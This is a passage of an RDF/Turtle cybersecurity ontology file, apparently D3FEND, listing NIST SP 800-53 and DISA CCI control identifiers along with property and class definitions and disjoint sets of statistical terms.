        d3f:NIST_SP_800-53_R5_AU-10_5,
        d3f:NIST_SP_800-53_R5_AU-14_2,
        d3f:NIST_SP_800-53_R5_AU-15,
        d3f:NIST_SP_800-53_R5_AU-2,
        d3f:NIST_SP_800-53_R5_AU-2_1,
        d3f:NIST_SP_800-53_R5_AU-2_2,
        d3f:NIST_SP_800-53_R5_AU-3,
        d3f:NIST_SP_800-53_R5_AU-4,
        d3f:NIST_SP_800-53_R5_CM-14,
        d3f:NIST_SP_800-53_R5_CM-5,
        d3f:NIST_SP_800-53_R5_CM-5_1,
        d3f:NIST_SP_800-53_R5_CM-5_3,
        d3f:NIST_SP_800-53_R5_CM-5_5,
        d3f:NIST_SP_800-53_R5_CM-5_6,
        d3f:NIST_SP_800-53_R5_CM-6_3,
        d3f:NIST_SP_800-53_R5_IA-2_1,
        d3f:NIST_SP_800-53_R5_IA-2_2,
        d3f:NIST_SP_800-53_R5_IA-2_4,
        d3f:NIST_SP_800-53_R5_IA-2_6,
        d3f:NIST_SP_800-53_R5_IR-4_12,
        d3f:NIST_SP_800-53_R5_IR-4_13,
        d3f:NIST_SP_800-53_R5_MA-3_3,
        d3f:NIST_SP_800-53_R5_MA-3_4,
        d3f:NIST_SP_800-53_R5_MA-3_5,
        d3f:NIST_SP_800-53_R5_MA-3_6,
        d3f:NIST_SP_800-53_R5_MA-4_1,
        d3f:NIST_SP_800-53_R5_MA-6,
        d3f:NIST_SP_800-53_R5_MA-6_1,
        d3f:NIST_SP_800-53_R5_MA-6_2,
        d3f:NIST_SP_800-53_R5_MA-6_3,
        d3f:NIST_SP_800-53_R5_RA-3_3,
        d3f:NIST_SP_800-53_R5_RA-3_4,
        d3f:NIST_SP_800-53_R5_RA-5,
        d3f:NIST_SP_800-53_R5_RA-5_2,
        d3f:NIST_SP_800-53_R5_RA-5_3,
        d3f:NIST_SP_800-53_R5_RA-5_4,
        d3f:NIST_SP_800-53_R5_RA-5_5,
        d3f:NIST_SP_800-53_R5_RA-5_6,
        d3f:NIST_SP_800-53_R5_RA-5_7,
        d3f:NIST_SP_800-53_R5_SA-10_1,
        d3f:NIST_SP_800-53_R5_SA-10_3,
        d3f:NIST_SP_800-53_R5_SA-10_4,
        d3f:NIST_SP_800-53_R5_SA-10_5,
        d3f:NIST_SP_800-53_R5_SA-10_6,
        d3f:NIST_SP_800-53_R5_SA-11_1,
        d3f:NIST_SP_800-53_R5_SA-11_8,
        d3f:NIST_SP_800-53_R5_SA-8_18,
        d3f:NIST_SP_800-53_R5_SA-8_22,
        d3f:NIST_SP_800-53_R5_SC-2,
        d3f:NIST_SP_800-53_R5_SC-2_1,
        d3f:NIST_SP_800-53_R5_SC-3,
        d3f:NIST_SP_800-53_R5_SC-3_1,
        d3f:NIST_SP_800-53_R5_SI-2_4,
        d3f:NIST_SP_800-53_R5_SI-2_5,
        d3f:NIST_SP_800-53_R5_SI-2_6,
        d3f:NIST_SP_800-53_R5_SI-3,
        d3f:NIST_SP_800-53_R5_SI-3_10,
        d3f:NIST_SP_800-53_R5_SI-3_4,
        d3f:NIST_SP_800-53_R5_SI-3_8,
        d3f:NIST_SP_800-53_R5_SI-4,
        d3f:NIST_SP_800-53_R5_SI-4_2,
        d3f:NIST_SP_800-53_R5_SI-4_4 ;
    d3f:version 5 ;
    rdfs:seeAlso <https://csrc.nist.gov/publications/detail/sp/800-53/rev-5/final> .

d3f:has-participant a owl:ObjectProperty ;
    rdfs:label "has-participant" ;
    d3f:definition "x has-participant y: The event x involves an object y as a participant, indicating that y plays some role in the event, whether actively, passively, or otherwise." ;
    rdfs:isDefinedBy <http://purl.obolibrary.org/obo/BFO_0000057> ;
    rdfs:subPropertyOf d3f:associated-with ;
    owl:inverseOf d3f:participates-in .

d3f:modifies a owl:ObjectProperty ;
    rdfs:label "modifies" ;
    d3f:definition "x modifies y: A technique or agent x causes a digital object y to change; become different; or undertake a transformation.  Afterwards, the data or state held by a digital object is changed." ;
    rdfs:isDefinedBy <http://wordnet-rdf.princeton.edu/id/00126072-v> ;
    rdfs:subPropertyOf d3f:accesses,
        d3f:associated-with,
        d3f:may-modify ;
    skos:altLabel "alters" .

d3f:PatentReference a owl:Class ;
    rdfs:label "Patent Reference" ;
    d3f:pref-label "Patent" ;
    rdfs:subClassOf d3f:TechniqueReference .

d3f:CCICatalog_v2022-04-05 a d3f:ControlCorrelationIdentifierCatalog,
        owl:NamedIndividual ;
    rdfs:label "CCI Catalog v2022-04-05" ;
    d3f:archived-at "https://public.cyber.mil/stigs/cci/"^^xsd:anyURI ;
    d3f:has-member d3f:CCI-000015_v2022-04-05,
        d3f:CCI-000016_v2022-04-05,
        d3f:CCI-000017_v2022-04-05,
        d3f:CCI-000018_v2022-04-05,
        d3f:CCI-000020_v2022-04-05,
        d3f:CCI-000022_v2022-04-05,
        d3f:CCI-000025_v2022-04-05,
        d3f:CCI-000027_v2022-04-05,
        d3f:CCI-000029_v2022-04-05,
        d3f:CCI-000030_v2022-04-05,
        d3f:CCI-000032_v2022-04-05,
        d3f:CCI-000034_v2022-04-05,
        d3f:CCI-000035_v2022-04-05,
        d3f:CCI-000037_v2022-04-05,
        d3f:CCI-000040_v2022-04-05,
        d3f:CCI-000044_v2022-04-05,
        d3f:CCI-000047_v2022-04-05,
        d3f:CCI-000056_v2022-04-05,
        d3f:CCI-000057_v2022-04-05,
        d3f:CCI-000058_v2022-04-05,
        d3f:CCI-000060_v2022-04-05,
        d3f:CCI-000066_v2022-04-05,
        d3f:CCI-000067_v2022-04-05,
        d3f:CCI-000068_v2022-04-05,
        d3f:CCI-000071_v2022-04-05,
        d3f:CCI-000139_v2022-04-05,
        d3f:CCI-000143_v2022-04-05,
        d3f:CCI-000144_v2022-04-05,
        d3f:CCI-000162_v2022-04-05,
        d3f:CCI-000163_v2022-04-05,
        d3f:CCI-000164_v2022-04-05,
        d3f:CCI-000185_v2022-04-05,
        d3f:CCI-000186_v2022-04-05,
        d3f:CCI-000187_v2022-04-05,
        d3f:CCI-000192_v2022-04-05,
        d3f:CCI-000193_v2022-04-05,
        d3f:CCI-000194_v2022-04-05,
        d3f:CCI-000195_v2022-04-05,
        d3f:CCI-000196_v2022-04-05,
        d3f:CCI-000197_v2022-04-05,
        d3f:CCI-000198_v2022-04-05,
        d3f:CCI-000199_v2022-04-05,
        d3f:CCI-000200_v2022-04-05,
        d3f:CCI-000205_v2022-04-05,
        d3f:CCI-000213_v2022-04-05,
        d3f:CCI-000218_v2022-04-05,
        d3f:CCI-000219_v2022-04-05,
        d3f:CCI-000226_v2022-04-05,
        d3f:CCI-000346_v2022-04-05,
        d3f:CCI-000352_v2022-04-05,
        d3f:CCI-000374_v2022-04-05,
        d3f:CCI-000381_v2022-04-05,
        d3f:CCI-000382_v2022-04-05,
        d3f:CCI-000386_v2022-04-05,
        d3f:CCI-000417_v2022-04-05,
        d3f:CCI-000663_v2022-04-05,
        d3f:CCI-000764_v2022-04-05,
        d3f:CCI-000765_v2022-04-05,
        d3f:CCI-000766_v2022-04-05,
        d3f:CCI-000767_v2022-04-05,
        d3f:CCI-000768_v2022-04-05,
        d3f:CCI-000771_v2022-04-05,
        d3f:CCI-000772_v2022-04-05,
        d3f:CCI-000774_v2022-04-05,
        d3f:CCI-000776_v2022-04-05,
        d3f:CCI-000804_v2022-04-05,
        d3f:CCI-000831_v2022-04-05,
        d3f:CCI-000877_v2022-04-05,
        d3f:CCI-000880_v2022-04-05,
        d3f:CCI-000884_v2022-04-05,
        d3f:CCI-000888_v2022-04-05,
        d3f:CCI-001009_v2022-04-05,
        d3f:CCI-001019_v2022-04-05,
        d3f:CCI-001067_v2022-04-05,
        d3f:CCI-001069_v2022-04-05,
        d3f:CCI-001082_v2022-04-05,
        d3f:CCI-001083_v2022-04-05,
        d3f:CCI-001084_v2022-04-05,
        d3f:CCI-001085_v2022-04-05,
        d3f:CCI-001086_v2022-04-05,
        d3f:CCI-001087_v2022-04-05,
        d3f:CCI-001089_v2022-04-05,
        d3f:CCI-001090_v2022-04-05,
        d3f:CCI-001092_v2022-04-05,
        d3f:CCI-001094_v2022-04-05,
        d3f:CCI-001096_v2022-04-05,
        d3f:CCI-001100_v2022-04-05,
        d3f:CCI-001109_v2022-04-05,
        d3f:CCI-001111_v2022-04-05,
        d3f:CCI-001115_v2022-04-05,
        d3f:CCI-001117_v2022-04-05,
        d3f:CCI-001118_v2022-04-05,
        d3f:CCI-001124_v2022-04-05,
        d3f:CCI-001125_v2022-04-05,
        d3f:CCI-001127_v2022-04-05,
        d3f:CCI-001128_v2022-04-05,
        d3f:CCI-001133_v2022-04-05,
        d3f:CCI-001144_v2022-04-05,
        d3f:CCI-001145_v2022-04-05,
        d3f:CCI-001146_v2022-04-05,
        d3f:CCI-001147_v2022-04-05,
        d3f:CCI-001150_v2022-04-05,
        d3f:CCI-001166_v2022-04-05,
        d3f:CCI-001169_v2022-04-05,
        d3f:CCI-001170_v2022-04-05,
        d3f:CCI-001178_v2022-04-05,
        d3f:CCI-001185_v2022-04-05,
        d3f:CCI-001199_v2022-04-05,
        d3f:CCI-001200_v2022-04-05,
        d3f:CCI-001210_v2022-04-05,
        d3f:CCI-001211_v2022-04-05,
        d3f:CCI-001233_v2022-04-05,
        d3f:CCI-001237_v2022-04-05,
        d3f:CCI-001239_v2022-04-05,
        d3f:CCI-001242_v2022-04-05,
        d3f:CCI-001262_v2022-04-05,
        d3f:CCI-001297_v2022-04-05,
        d3f:CCI-001305_v2022-04-05,
        d3f:CCI-001310_v2022-04-05,
        d3f:CCI-001350_v2022-04-05,
        d3f:CCI-001352_v2022-04-05,
        d3f:CCI-001356_v2022-04-05,
        d3f:CCI-001368_v2022-04-05,
        d3f:CCI-001372_v2022-04-05,
        d3f:CCI-001373_v2022-04-05,
        d3f:CCI-001374_v2022-04-05,
        d3f:CCI-001376_v2022-04-05,
        d3f:CCI-001377_v2022-04-05,
        d3f:CCI-001399_v2022-04-05,
        d3f:CCI-001400_v2022-04-05,
        d3f:CCI-001401_v2022-04-05,
        d3f:CCI-001403_v2022-04-05,
        d3f:CCI-001404_v2022-04-05,
        d3f:CCI-001405_v2022-04-05,
        d3f:CCI-001414_v2022-04-05,
        d3f:CCI-001424_v2022-04-05,
        d3f:CCI-001425_v2022-04-05,
        d3f:CCI-001426_v2022-04-05,
        d3f:CCI-001427_v2022-04-05,
        d3f:CCI-001428_v2022-04-05,
        d3f:CCI-001436_v2022-04-05,
        d3f:CCI-001452_v2022-04-05,
        d3f:CCI-001453_v2022-04-05,
        d3f:CCI-001454_v2022-04-05,
        d3f:CCI-001493_v2022-04-05,
        d3f:CCI-001494_v2022-04-05,
        d3f:CCI-001495_v2022-04-05,
        d3f:CCI-001496_v2022-04-05,
        d3f:CCI-001499_v2022-04-05,
        d3f:CCI-001555_v2022-04-05,
        d3f:CCI-001556_v2022-04-05,
        d3f:CCI-001557_v2022-04-05,
        d3f:CCI-001574_v2022-04-05,
        d3f:CCI-001589_v2022-04-05,
        d3f:CCI-001619_v2022-04-05,
        d3f:CCI-001632_v2022-04-05,
        d3f:CCI-001662_v2022-04-05,
        d3f:CCI-001668_v2022-04-05,
        d3f:CCI-001677_v2022-04-05,
        d3f:CCI-001682_v2022-04-05,
        d3f:CCI-001683_v2022-04-05,
        d3f:CCI-001684_v2022-04-05,
        d3f:CCI-001685_v2022-04-05,
        d3f:CCI-001686_v2022-04-05,
        d3f:CCI-001695_v2022-04-05,
        d3f:CCI-001744_v2022-04-05,
        d3f:CCI-001749_v2022-04-05,
        d3f:CCI-001762_v2022-04-05,
        d3f:CCI-001764_v2022-04-05,
        d3f:CCI-001767_v2022-04-05,
        d3f:CCI-001774_v2022-04-05,
        d3f:CCI-001811_v2022-04-05,
        d3f:CCI-001812_v2022-04-05,
        d3f:CCI-001813_v2022-04-05,
        d3f:CCI-001855_v2022-04-05,
        d3f:CCI-001858_v2022-04-05,
        d3f:CCI-001936_v2022-04-05,
        d3f:CCI-001937_v2022-04-05,
        d3f:CCI-001941_v2022-04-05,
        d3f:CCI-001953_v2022-04-05,
        d3f:CCI-001954_v2022-04-05,
        d3f:CCI-001957_v2022-04-05,
        d3f:CCI-001991_v2022-04-05,
        d3f:CCI-002005_v2022-04-05,
        d3f:CCI-002009_v2022-04-05,
        d3f:CCI-002010_v2022-04-05,
        d3f:CCI-002015_v2022-04-05,
        d3f:CCI-002016_v2022-04-05,
        d3f:CCI-002041_v2022-04-05,
        d3f:CCI-002145_v2022-04-05,
        d3f:CCI-002165_v2022-04-05,
        d3f:CCI-002169_v2022-04-05,
        d3f:CCI-002178_v2022-04-05,
        d3f:CCI-002179_v2022-04-05,
        d3f:CCI-002201_v2022-04-05,
        d3f:CCI-002205_v2022-04-05,
        d3f:CCI-002207_v2022-04-05,
        d3f:CCI-002211_v2022-04-05,
        d3f:CCI-002218_v2022-04-05,
        d3f:CCI-002233_v2022-04-05,
        d3f:CCI-002235_v2022-04-05,
        d3f:CCI-002238_v2022-04-05,
        d3f:CCI-002262_v2022-04-05,
        d3f:CCI-002263_v2022-04-05,
        d3f:CCI-002264_v2022-04-05,
        d3f:CCI-002272_v2022-04-05,
        d3f:CCI-002277_v2022-04-05,
        d3f:CCI-002281_v2022-04-05,
        d3f:CCI-002282_v2022-04-05,
        d3f:CCI-002283_v2022-04-05,
        d3f:CCI-002284_v2022-04-05,
        d3f:CCI-002289_v2022-04-05,
        d3f:CCI-002290_v2022-04-05,
        d3f:CCI-002302_v2022-04-05,
        d3f:CCI-002306_v2022-04-05,
        d3f:CCI-002307_v2022-04-05,
        d3f:CCI-002308_v2022-04-05,
        d3f:CCI-002309_v2022-04-05,
        d3f:CCI-002322_v2022-04-05,
        d3f:CCI-002346_v2022-04-05,
        d3f:CCI-002347_v2022-04-05,
        d3f:CCI-002353_v2022-04-05,
        d3f:CCI-002355_v2022-04-05,
        d3f:CCI-002357_v2022-04-05,
        d3f:CCI-002358_v2022-04-05,
        d3f:CCI-002359_v2022-04-05,
        d3f:CCI-002361_v2022-04-05,
        d3f:CCI-002363_v2022-04-05,
        d3f:CCI-002364_v2022-04-05,
        d3f:CCI-002381_v2022-04-05,
        d3f:CCI-002382_v2022-04-05,
        d3f:CCI-002384_v2022-04-05,
        d3f:CCI-002385_v2022-04-05,
        d3f:CCI-002394_v2022-04-05,
        d3f:CCI-002397_v2022-04-05,
        d3f:CCI-002400_v2022-04-05,
        d3f:CCI-002403_v2022-04-05,
        d3f:CCI-002409_v2022-04-05,
        d3f:CCI-002411_v2022-04-05,
        d3f:CCI-002420_v2022-04-05,
        d3f:CCI-002421_v2022-04-05,
        d3f:CCI-002422_v2022-04-05,
        d3f:CCI-002423_v2022-04-05,
        d3f:CCI-002425_v2022-04-05,
        d3f:CCI-002426_v2022-04-05,
        d3f:CCI-002460_v2022-04-05,
        d3f:CCI-002462_v2022-04-05,
        d3f:CCI-002463_v2022-04-05,
        d3f:CCI-002464_v2022-04-05,
        d3f:CCI-002465_v2022-04-05,
        d3f:CCI-002466_v2022-04-05,
        d3f:CCI-002467_v2022-04-05,
        d3f:CCI-002468_v2022-04-05,
        d3f:CCI-002470_v2022-04-05,
        d3f:CCI-002475_v2022-04-05,
        d3f:CCI-002476_v2022-04-05,
        d3f:CCI-002530_v2022-04-05,
        d3f:CCI-002531_v2022-04-05,
        d3f:CCI-002533_v2022-04-05,
        d3f:CCI-002536_v2022-04-05,
        d3f:CCI-002546_v2022-04-05,
        d3f:CCI-002605_v2022-04-05,
        d3f:CCI-002607_v2022-04-05,
        d3f:CCI-002613_v2022-04-05,
        d3f:CCI-002614_v2022-04-05,
        d3f:CCI-002617_v2022-04-05,
        d3f:CCI-002618_v2022-04-05,
        d3f:CCI-002630_v2022-04-05,
        d3f:CCI-002631_v2022-04-05,
        d3f:CCI-002661_v2022-04-05,
        d3f:CCI-002662_v2022-04-05,
        d3f:CCI-002684_v2022-04-05,
        d3f:CCI-002688_v2022-04-05,
        d3f:CCI-002689_v2022-04-05,
        d3f:CCI-002690_v2022-04-05,
        d3f:CCI-002691_v2022-04-05,
        d3f:CCI-002710_v2022-04-05,
        d3f:CCI-002711_v2022-04-05,
        d3f:CCI-002712_v2022-04-05,
        d3f:CCI-002715_v2022-04-05,
        d3f:CCI-002716_v2022-04-05,
        d3f:CCI-002717_v2022-04-05,
        d3f:CCI-002718_v2022-04-05,
        d3f:CCI-002723_v2022-04-05,
        d3f:CCI-002724_v2022-04-05,
        d3f:CCI-002726_v2022-04-05,
        d3f:CCI-002729_v2022-04-05,
        d3f:CCI-002740_v2022-04-05,
        d3f:CCI-002743_v2022-04-05,
        d3f:CCI-002746_v2022-04-05,
        d3f:CCI-002748_v2022-04-05,
        d3f:CCI-002749_v2022-04-05,
        d3f:CCI-002771_v2022-04-05,
        d3f:CCI-002824_v2022-04-05,
        d3f:CCI-002883_v2022-04-05,
        d3f:CCI-002890_v2022-04-05,
        d3f:CCI-002891_v2022-04-05,
        d3f:CCI-003014_v2022-04-05,
        d3f:CCI-003123_v2022-04-05 ;
    d3f:version "2022-04-05" ;
    rdfs:seeAlso <https://public.cyber.mil/stigs/cci/> .

d3f:DISA_FSO a d3f:Organization,
        owl:NamedIndividual ;
    rdfs:label "DISA FSO" ;
    d3f:definition "Defense Information Systems Agency (DISA) Field Security Office (FSO)" .

d3f:CCIControl a owl:Class ;
    rdfs:label "CCI Control" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:member-of ;
            owl:someValuesFrom d3f:ControlCorrelationIdentifierCatalog ],
        [ a owl:Restriction ;
            owl:onProperty d3f:control-name ;
            owl:someValuesFrom xsd:string ],
        [ a owl:Restriction ;
            owl:onProperty d3f:published ;
            owl:someValuesFrom xsd:dateTime ],
        d3f:ExternalControl .

[] a owl:AllDisjointClasses ;
    owl:members ( d3f:Kurtosis d3f:Moments d3f:Skewness ) .

[] a owl:AllDisjointClasses ;
    owl:members ( d3f:Classifying d3f:Forecasting d3f:Generation d3f:Matching d3f:Summarizing ) .

[] a owl:AllDisjointClasses ;
    owl:members ( d3f:CoefficientOfVariation d3f:InterquartileRange d3f:MeanAbsoluteDeviation d3f:MedianAbsoluteDeviation d3f:Range d3f:StandardDeviation d3f:Variance ) .

[] a owl:AllDisjointClasses ;
    owl:members ( d3f:GeometricMean d3f:HarmonicMean d3f:Mean d3f:Median d3f:Mode d3f:TrimmedMean d3f:WeightedMean ) .

[] a owl:AllDisjointClasses ;
    owl:members ( d3f:Clustering d3f:Grouping d3f:Histogramming ) .

